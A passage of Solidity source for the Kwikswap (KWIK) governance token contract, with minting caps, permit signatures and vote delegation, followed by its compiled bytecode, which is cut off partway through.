} uint256 c = a * b; require(c / a == b, errorMessage); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Kwik { /// @notice EIP-20 token name for this token string public constant name = "Kwikswap"; /// @notice EIP-20 token symbol for this token string public constant symbol = "KWIK"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public totalSupply = 250_000_000e18; // 250,000,000 KWIK /// @notice Address which may mint new tokens address public minter; /// @notice The timestamp after which minting may occur uint public mintingAllowedAfter; /// @notice Minimum time between mints uint32 public constant minimumTimeBetweenMints = 1 days * 365; /// @notice Cap on the percentage of totalSupply that can be minted at each mint uint8 public constant mintCap = 2; /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice The EIP-712 typehash for the permit struct used by the contract bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when the minter address is changed event MinterChanged(address minter, address newMinter); /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); constructor(address account, address minter_, uint mintingAllowedAfter_) public { require(mintingAllowedAfter_ >= block.timestamp, "KWIK::constructor: minting can only begin after deployment"); balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); minter = minter_; emit MinterChanged(address(0), minter); mintingAllowedAfter = mintingAllowedAfter_; } function setMinter(address minter_) external { require(msg.sender == minter, "KWIK::setMinter: only the minter can change the minter address"); emit MinterChanged(minter, minter_); minter = minter_; } function mint(address dst, uint rawAmount) external { require(msg.sender == minter, "KWIK::mint: only the minter can mint"); require(block.timestamp >= mintingAllowedAfter, "KWIK::mint: minting not allowed yet"); require(dst != address(0), "KWIK::mint: cannot transfer to the zero address"); // record the mint mintingAllowedAfter = SafeMath.add(block.timestamp, minimumTimeBetweenMints); // mint the amount uint96 amount = safe96(rawAmount, "KWIK::mint: amount exceeds 96 bits"); require(amount <= SafeMath.div(SafeMath.mul(totalSupply, mintCap), 100), "KWIK::mint: exceeded mint cap"); totalSupply = safe96(SafeMath.add(totalSupply, amount), "KWIK::mint: totalSupply exceeds 96 bits"); // transfer the amount to the recipient balances[dst] = add96(balances[dst], amount, "KWIK::mint: transfer amount overflows"); emit Transfer(address(0), dst, amount); // move delegates _moveDelegates(address(0), delegates[dst], amount); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "KWIK::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "KWIK::permit: amount exceeds 96 bits"); } bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "KWIK::permit: invalid signature"); require(signatory == owner, "KWIK::permit: unauthorized"); require(now <= deadline, "KWIK::permit: signature expired"); allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "KWIK::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "KWIK::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "KWIK::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } function balanceOf(address account) external view returns (uint) { return balances[account]; } function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "KWIK::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "KWIK::delegateBySig: invalid nonce"); require(now <= expiry, "KWIK::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "KWIK::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "KWIK::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "KWIK::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "KWIK::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "KWIK::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "KWIK::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "KWIK::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "KWIK::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80636fcfff45116100f9578063b4b5ea5711610097578063dd62ed3e11610071578063dd62ed3e146104fa578063e7a324dc1461052a578063f1127ed814610548578063fca3b5aa14610579576101a9565b8063b4b5ea5714610492578063c3cda520146104c2578063d505accf146104de576101a9565b8063782d6fe1116100d3578063782d6fe1146103e45780637ecebe001461041457806395d89b4114610444578063a9059cbb14610462576101a9565b80636fcfff451461036657806370a082311461039657806376c71ca1146103c6576101a9565b806330adf81f1161016657806340c10f191161014057806340c10f19146102e0578063587cde1e146102fc5780635c11d62f1461032c5780635c19a95c1461034a576101a9565b806330adf81f1461028657806330b36cef146102a4578063313ce567146102c2576101a9565b806306fdde03146101ae57806307546172146101cc578063095ea7b3146101ea57806318160ddd1461021a57806320606b701461023857806323b872dd14610256575b600080fd5b6101b6610595565b6040516101c39190613a16565b60405180910390f35b6101d46105ce565b6040516101e1919061386c565b60405180910390f35b61020460048036036101ff9190810190612e94565b6105f4565b60405161021191906138b0565b60405180910390f35b610222610787565b60405161022f9190613c5a565b60405180910390f35b61024061078d565b60405161024d91906138cb565b60405180910390f35b610270600480360361026b9190810190612da7565b6107a4565b60405161027d91906138b0565b60405180910390f35b61028e610a38565b60405161029b91906138cb565b60405180910390f35b6102ac610a4f565b6040516102b99190613c5a565b60405180910390f35b6102ca610a55565b6040516102d79190613cb9565b60405180910390f35b6102fa60048036036102f59190810190612e94565b610a5a565b005b61031660048036036103119190810190612d42565b610e55565b604051610323919061386c565b60405180910390f35b610334610e88565b6040516103419190613c75565b60405180910390f35b610364600480360361035f9190810190612d42565b610e90565b005b610380600480360361037b9190810190612d42565b610e9d565b60405161038d9190613c75565b60405180910390f35b6103b060048036036103ab9190810190612d42565b610ec0565b6040516103bd9190613c5a565b60405180910390f35b6103ce610f2f565b6040516103db9190613cb9565b60405180910390f35b6103fe60048036036103f99190810190612e94565b610f34565b60405161040b9190613cef565b60405180910390f35b61042e60048036036104299190810190612d42565b611347565b60405161043b9190613c5a565b60405180910390f35b61044c61135f565b6040516104599190613a16565b60405180910390f35b61047c60048036036104779190810190612e94565b611398565b60405161048991906138b0565b60405180910390f35b6104ac60048036036104a79190810190612d42565b6113d5565b6040516104b99190613cef565b60405180910390f35b6104dc60048036036104d79190810190612ed0565b6114c3565b005b6104f860048036036104f39190810190612df6565b611766565b005b610514600480360361050f9190810190612d6b565b611bb8565b6040516105219190613c5a565b60405180910390f35b610532611c65565b60405161053f91906138cb565b60405180910390f35b610562600480360361055d9190810190612f59565b611c7c565b604051610570929190613c90565b60405180910390f35b610593600480360361058e9190810190612d42565b611cd5565b005b6040518060400160405280600881526020017f4b77696b7377617000000000000000000000000000000000000000000000000081525081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff831415610647577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff905061066c565b6106698360405180606001604052806025815260200161405660259139611e04565b90505b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516107749190613cd4565b60405180910390a3600191505092915050565b60005481565b60405161079990613842565b604051809103902081565b6000803390506000600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905060006108678560405180606001604052806025815260200161405660259139611e04565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156108e157507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6bffffffffffffffffffffffff16826bffffffffffffffffffffffff1614155b15610a1f57600061090b83836040518060600160405280603d8152602001613ff1603d9139611e62565b905080600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a159190613cd4565b60405180910390a3505b610a2a878783611ed3565b600193505050509392505050565b604051610a449061382d565b604051809103902081565b60025481565b601281565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610aea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae190613b7a565b60405180910390fd5b600254421015610b2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2690613b9a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9690613afa565b60405180910390fd5b610bb3426301e1338063ffffffff166122b4565b6002819055506000610bdd826040518060600160405280602281526020016140a160229139611e04565b9050610bf9610bf2600054600260ff16612309565b6064612379565b816bffffffffffffffffffffffff161115610c49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4090613c3a565b60405180910390fd5b610c84610c66600054836bffffffffffffffffffffffff166122b4565b604051806060016040528060278152602001613f9460279139611e04565b6bffffffffffffffffffffffff16600081905550610d12600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060258152602001613f6f602591396123c3565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ddd9190613cd4565b60405180910390a3610e506000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612439565b505050565b60056020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6301e1338081565b610e9a3382612734565b50565b60076020528060005260406000206000915054906101000a900463ffffffff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b600281565b6000438210610f78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6f90613bda565b60405180910390fd5b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610fe5576000915050611341565b82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16116110e757600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff16915050611341565b82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115611168576000915050611341565b600080905060006001830390505b8163ffffffff168163ffffffff1611156112c3576000600283830363ffffffff168161119e57fe5b04820390506111ab612cab565b600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff16141561129b57806020015195505050505050611341565b86816000015163ffffffff1610156112b5578193506112bc565b6001820392505b5050611176565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b60086020528060005260406000206000915090505481565b6040518060400160405280600481526020017f4b57494b0000000000000000000000000000000000000000000000000000000081525081565b6000806113bd8360405180606001604052806026815260200161407b60269139611e04565b90506113ca338583611ed3565b600191505092915050565b600080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161161143f5760006114bb565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b915050919050565b60006040516114d190613842565b60405180910390206040518060400160405280600881526020017f4b77696b737761700000000000000000000000000000000000000000000000008152508051906020012061151e6128f4565b30604051602001611532949392919061398c565b604051602081830303815290604052805190602001209050600060405161155890613857565b60405180910390208888886040516020016115769493929190613947565b604051602081830303815290604052805190602001209050600082826040516020016115a39291906137f6565b6040516020818303038152906040528051906020012090506000600182888888604051600081526020016040526040516115e094939291906139d1565b6020604051602081039080840390855afa158015611602573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561167e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167590613a9a565b60405180910390fd5b600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055891461170d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170490613b5a565b60405180910390fd5b87421115611750576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174790613c1a565b60405180910390fd5b61175a818b612734565b50505050505050505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8614156117b8577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90506117dd565b6117da86604051806060016040528060248152602001613f1b60249139611e04565b90505b60006040516117eb90613842565b60405180910390206040518060400160405280600881526020017f4b77696b73776170000000000000000000000000000000000000000000000000815250805190602001206118386128f4565b3060405160200161184c949392919061398c565b60405160208183030381529060405280519060200120905060006040516118729061382d565b60405180910390208a8a8a600860008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558b6040516020016118e1969594939291906138e6565b6040516020818303038152906040528051906020012090506000828260405160200161190e9291906137f6565b60405160208183030381529060405280519060200120905060006001828989896040516000815260200160405260405161194b94939291906139d1565b6020604051602081039080840390855afa15801561196d573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e090613a5a565b60405180910390fd5b8b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611a57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4e90613a7a565b60405180910390fd5b88421115611a9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9190613bfa565b60405180910390fd5b84600360008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508a73ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051611ba29190613cd4565b60405180910390a3505050505050505050505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b604051611c7190613857565b604051809103902081565b6006602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5c90613b1a565b60405180910390fd5b7f3b0007eb941cf645526cbb3a4fdaecda9d28ce4843167d9263b536a1f1edc0f6600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051611db8929190613887565b60405180910390a180600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006c0100000000000000000000000083108290611e58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4f9190613a38565b60405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff1611158290611ec6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ebd9190613a38565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3a90613aba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611fb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611faa90613b3a565b60405180910390fd5b61202d600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060368152602001613fbb60369139611e62565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550612114600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060308152602001613f3f603091396123c3565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121de9190613cd4565b60405180910390a36122af600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612439565b505050565b6000808284019050838110156122ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122f690613ada565b60405180910390fd5b8091505092915050565b60008083141561231c5760009050612373565b600082840290508284828161232d57fe5b041461236e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236590613bba565b60405180910390fd5b809150505b92915050565b60006123bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612901565b905092915050565b6000808385019050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff161015839061242d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124249190613a38565b60405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561248357506000816bffffffffffffffffffffffff16115b1561272f57600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146125db576000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116125265760006125a2565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b905060006125c9828560405180606001604052806028815260200161402e60289139611e62565b90506125d786848484612962565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461272e576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116126795760006126f5565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b9050600061271c8285604051806060016040528060278152602001613ec0602791396123c3565b905061272a85848484612962565b5050505b5b505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a46128ee828483612439565b50505050565b6000804690508091505090565b60008083118290612948576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161293f9190613a38565b60405180910390fd5b50600083858161295457fe5b049050809150509392505050565b600061298643604051806060016040528060348152602001613ee760349139612c55565b905060008463ffffffff16118015612a1b57508063ffffffff16600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15612ab65781600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550612bfe565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600660008773ffffffffffffff